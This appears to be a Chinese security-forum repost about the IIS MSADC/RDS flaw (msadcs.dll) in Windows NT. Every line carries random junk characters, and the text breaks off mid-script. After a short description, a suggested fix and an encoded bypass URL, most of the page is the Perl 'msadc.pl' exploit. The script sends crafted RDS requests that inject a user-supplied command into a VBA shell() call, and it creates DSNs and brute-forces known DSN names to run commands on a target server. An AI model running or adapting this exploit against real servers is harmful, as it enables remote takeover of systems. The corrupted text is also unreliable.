IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
wGU*:k7p wJg1Y0nh 涉及程序:
w4_ U0
n3 Microsoft NT server
[NQOrcAQ $[9%QQk5<L 描述:
n+!
AnKq 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ZufR{^W OGBHos 详细:
"HX<,l8f% 如果你没有时间读详细内容的话,就删除:
3ovWwZ8& c:\Program Files\Common Files\System\Msadc\msadcs.dll
];} Wfl 有关的安全问题就没有了。
Q;MT"=RW A]y`7jJ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
T\:4qETQF] &d9{k5/+\ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
c4!^nk] 关于利用ODBC远程漏洞的描述,请参看:
osciZ'~ NnO~dRx{ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm yxonRV$& LU+3{O5y 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
t^VwR=i http://www.microsoft.com/security/bulletins/MS99-025faq.asp Bm.afsM; Q.bXM?V) 这里不再论述。
ImCe K ~aw.(A?MI 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
SEORSS iz5CAxm /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
XoXM^*Vk 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
tWo{7) Eb kM!kD4& d; [C6d #将下面这段保存为txt文件,然后: "perl -x 文件名"
?8HHA:GP %/EVUN9= #!perl
/TE_W@?^ #
UT>s5C # MSADC/RDS 'usage' (aka exploit) script
M\C"5%2Mu #
+_s #2 # by rain.forest.puppy
xE1 eT, #
|yvQ[U~PQ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&vHoRY # beta test and find errors!
w|3z;-#Q; L%">iQOG# use Socket; use Getopt::Std;
01[NX? qEa getopts("e:vd:h:XR", \%args);
:Y-{Kn6`_ z+x\(/ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
2Fy>.*,? BW-`t-,E; if (!defined $args{h} && !defined $args{R}) {
[vge56h print qq~
U
-Y03 Usage: msadc.pl -h <host> { -d <delay> -X -v }
AUeu1(
-h <host> = host you want to scan (ip or domain)
<m:m &I
8@ -d <seconds> = delay between calls, default 1 second
6Vww;1J -X = dump Index Server path table, if available
]I-Z]m" -v = verbose
Rn#KfI:{ -e = external dictionary file for step 5
soPLA68 ]&?Y~"{cD Or a -R will resume a command session
Qg^cf<X{i Kfm5i Q ~; exit;}
F8hw#!Aq NIh:DbE $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
hZ[E7=NTQ^ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
MRQ.`IoS if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
_AYXc] 4% if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
r$5i Wu $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Y_}mYvJW if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
uB |Ss m_hN*v
Py if (!defined $args{R}){ $ret = &has_msadc;
r/& sub"X die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$Vsk Ew"|M sLh==V;9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
tc_286'x . "cmd /c ";
D@G\7KH@ $in=<STDIN>; chomp $in;
)64@2~4y $command="cmd /c " . $in ;
iM2W] wNq;;AJ$ if (defined $args{R}) {&load; exit;}
.id)VF-l NxSu3e~PS print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
@|LBn6q &try_btcustmr;
*Kyw^DI f5F@^QXQ print "\nStep 2: Trying to make our own DSN...";
I[b}4M6E &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>tTj[cMJl rJFc({ 0
print "\nStep 3: Trying known DSNs...";
qNI,
62 &known_dsn;
YiYV>gaf"H vK(i9>;7 print "\nStep 4: Trying known .mdbs...";
lW<PoT &known_mdb;
~i@Y|38C -DxL 0:E if (defined $args{e}){
9Kg21-? print "\nStep 5: Trying dictionary of DSN names...";
GRMiQa &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
]"+95*B TqNadHQ print "Sorry Charley...maybe next time?\n";
b5,x1`#7k exit;
&P.4(1sC wpN k+; ##############################################################################
ay1YOfa* xAafm<L@! sub sendraw { # ripped and modded from whisker
D*Ik7Pe sleep($delay); # it's a DoS on the server! At least on mine...
$f,n8]
my ($pstr)=@_;
Sa\!*e_sN socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
p7);uF^O% die("Socket problems\n");
~CVe yk< ( if(connect(S,pack "SnA4x8",2,80,$target)){
tS|9fBdCs select(S); $|=1;
Ys
-T0 print $pstr; my @in=<S>;
,\X@~j select(STDOUT); close(S);
.udv"?!z return @in;
RbCPmiZcH } else { die("Can't connect...\n"); }}
A;5n:Sd wx\v:A ##############################################################################
Z?pnj8h-& x&^_c0fn sub make_header { # make the HTTP request
tBNoI my $msadc=<<EOT
<F'X<Bau POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
RlheQTJ User-Agent: ACTIVEDATA
G+F#n6Vx Host: $ip
J~B<7O<?!1 Content-Length: $clen
eFBeJZuE| Connection: Keep-Alive
:`E8Z:-R $p#%G#T ADCClientVersion:01.06
kgy:Q' Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
4VHqBQ4
PGYXhwOI --!ADM!ROX!YOUR!WORLD!
.w> 4 Content-Type: application/x-varg
L,SGT8lL Content-Length: $reqlen
d cLA1sN, %ThyOl@O EOT
fq5_G~c= ; $msadc=~s/\n/\r\n/g;
ONx(] return $msadc;}
O@MGda9_; 53c 0
E ##############################################################################
?|WoIV. {D?50Q sub make_req { # make the RDS request
bKj%s@x my ($switch, $p1, $p2)=@_;
3 N7[.I>A my $req=""; my $t1, $t2, $query, $dsn;
M~WijDj `Q+(LBP if ($switch==1){ # this is the btcustmr.mdb query
n8uv#DsdK $query="Select * from Customers where City=" . make_shell();
I&MY{f $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
xfy1pS.[: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
a^Tmu ^
"i l}8` elsif ($switch==2){ # this is general make table query
@o#!EfZyE $query="create table AZZ (B int, C varchar(10))";
~ zil/P8 $dsn="$p1";}
RletL) %YSpCI elsif ($switch==3){ # this is general exploit table query
?q(\=;Y $query="select * from AZZ where C=" . make_shell();
%uJ<M-@r=u $dsn="$p1";}
!lxTX \%/#x V elsif ($switch==4){ # attempt to hork file info from index server
o
}3uo6GIB $query="select path from scope()";
2H/Z_+\ $dsn="Provider=MSIDXS;";}
.Q@S #d BBH0OiV= elsif ($switch==5){ # bad query
`Ja?fI'H- $query="select";
j=*l$RG $dsn="$p1";}
p/JL9@:' SrFS# $t1= make_unicode($query);
?+g`HTY u $t2= make_unicode($dsn);
AZzuI* $req = "\x02\x00\x03\x00";
nl(WJKq' $req.= "\x08\x00" . pack ("S1", length($t1));
}Ow>dV? $req.= "\x00\x00" . $t1 ;
Zq,9&y~ $req.= "\x08\x00" . pack ("S1", length($t2));
d)@<W1; $req.= "\x00\x00" . $t2 ;
G P:FSprP $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
?."&MZ return $req;}
rgSOS-ox K TsgJ\W ##############################################################################
CbPuoOl Oy<5>2^P sub make_shell { # this makes the shell() statement
o Y1';&BO9 return "'|shell(\"$command\")|'";}
rj6tZJZ#o0 '"<6.,Ae ##############################################################################
=Zu^8 0/ /n5F(5< sub make_unicode { # quick little function to convert to unicode
>N;F8v my ($in)=@_; my $out;
Ypeiy`. for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
}tH[[4tw, return $out;}
nSF``pp+ U\veOQ;mW ##############################################################################
PqyA1 UA4J>1 i sub rdo_success { # checks for RDO return success (this is kludge)
-+7uy.@cS my (@in) = @_; my $base=content_start(@in);
?lbH02P{v if($in[$base]=~/multipart\/mixed/){
vKq^D(&cl return 1 if( $in[$base+10]=~/^\x09\x00/ );}
|o2sbLp return 0;}
!).}u,*'no (RUT{)p[ ##############################################################################
] GHt" [/ !;_b\X sub make_dsn { # this makes a DSN for us
1G0fp:\w my @drives=("c","d","e","f");
7]x3!AlV print "\nMaking DSN: ";
%]gn?`O foreach $drive (@drives) {
Rw6;Z print "$drive: ";
?gO8kPg/D my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~6pr0uyO` "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
yC3yij<oR . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
z-@=+4~ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
3I!?e!y3( return 0 if $2 eq "404"; # not found/doesn't exist
^ K7ic,{ if($2 eq "200") {
%.<H=!$ foreach $line (@results) {
JOb*-q|y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
j:}J}P } return 0;}
:Gu+m qS/V"|G( ##############################################################################
4B4Z])$3 G
[:N0{v5 sub verify_exists {
|y h\ my ($page)=@_;
'zEI;v my @results=sendraw("GET $page HTTP/1.0\n\n");
:U
d return $results[0];}
rwniOQe QJ
F=UB ##############################################################################
1=|7mehL% ZT[3aXS sub try_btcustmr {
YAL=!~6 my @drives=("c","d","e","f");
277ASCWLkU my @dirs=("winnt","winnt35","winnt351","win","windows");
Yz4_vePh+5 N%7{J foreach $dir (@dirs) {
9U {y1} print "$dir -> "; # fun status so you can see progress
\":?xh_H foreach $drive (@drives) {
d\H&dkpH print "$drive: "; # ditto
gP-nluq $reqlen=length( make_req(1,$drive,$dir) ) - 28;
6vp *9 $reqlenlen=length( "$reqlen" );
]l@ qra $clen= 206 + $reqlenlen + $reqlen;
q;fKcblKj Io|X#\K my @results=sendraw(make_header() . make_req(1,$drive,$dir));
g
^!C if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
a8dXH5_ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
TDg@Tg0 :qR=>n= ##############################################################################
!PMU O\y &SAH2xR sub odbc_error {
c(U my (@in)=@_; my $base;
[w0/\]o my $base = content_start(@in);
9D 0dg( if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
-UZ@G~K $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]&ixhW $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4D$;KokZ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
g|Y] wd return $in[$base+4].$in[$base+5].$in[$base+6];}
O<jPGU print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
{/LZcz[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
9'DtaTmGW $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
rZojY}dWJ 6cdMS[_SD( ##############################################################################
?sBh=Ds yoRU_%xA sub verbose {
N7%TYs my ($in)=@_;
QN>7~=` return if !$verbose;
rVtw-[p print STDOUT "\n$in\n";}
6 CC &Z> - ZW3 ##############################################################################
!Y<oN~<%) Uw/l>\ sub save {
vBvNu<v7te my ($p1, $p2, $p3, $p4)=@_;
Olfn open(OUT, ">rds.save") || print "Problem saving parameters...\n";
g7CXlT0Q6 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
W%e_~$H0 close OUT;}
?\/qeGW6G 1^dJg8 ##############################################################################
joXfmHB} 16X@^j_ sub load {
8ZcU[8r my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
J9%@VZut open(IN,"<rds.save") || die("Couldn't open rds.save\n");
++}\v9Er @p=<IN>; close(IN);
GIftrYr $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
|!H?+Jj: $target= inet_aton($ip) || die("inet_aton problems");
C#i UP|7hh print "Resuming to $ip ...";
H^~.mBP
n $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
4KI [D{ if($p[1]==1) {
sM\lO $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
(X +s-4% $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
m,> my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
m7=1%6FN3 if (rdo_success(@results)){print "Success!\n";}
#FYAV%pi else { print "failed\n"; verbose(odbc_error(@results));}}
#hL*rbpT elsif ($p[1]==3){
j2M+]Zp. if(run_query("$p[3]")){
2X88: print "Success!\n";} else { print "failed\n"; }}
zTo8OPr elsif ($p[1]==4){
~u&|G$1!0 if(run_query($drvst . "$p[3]")){
U@Tj B print "Success!\n"; } else { print "failed\n"; }}
-$<O\5cAQ exit;}
~|Z'l%<Os 8BXqZVm. ##############################################################################
Y-~~,Yl~ h?UVDzI!O sub create_table {
a
:HNg my ($in)=@_;
V5D2\n3A $reqlen=length( make_req(2,$in,"") ) - 28;
wP"q<W
g $reqlenlen=length( "$reqlen" );
yg;_.4TpIO $clen= 206 + $reqlenlen + $reqlen;
TNY4z(r my @results=sendraw(make_header() . make_req(2,$in,""));
*zVvQ= return 1 if rdo_success(@results);
yPu4T6Vv my $temp= odbc_error(@results); verbose($temp);
(0Naf return 1 if $temp=~/Table 'AZZ' already exists/;
t~M
$%)h return 0;}
OQ4c#V? R^MiP|?ZH ##############################################################################
C+K=[ Vv*NFJ | sub known_dsn {
T~gW3J # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
VY+>=! my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
DB`QsiC) "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
zzZg$9PT[ "banner", "banners", "ads", "ADCDemo", "ADCTest");
-DO&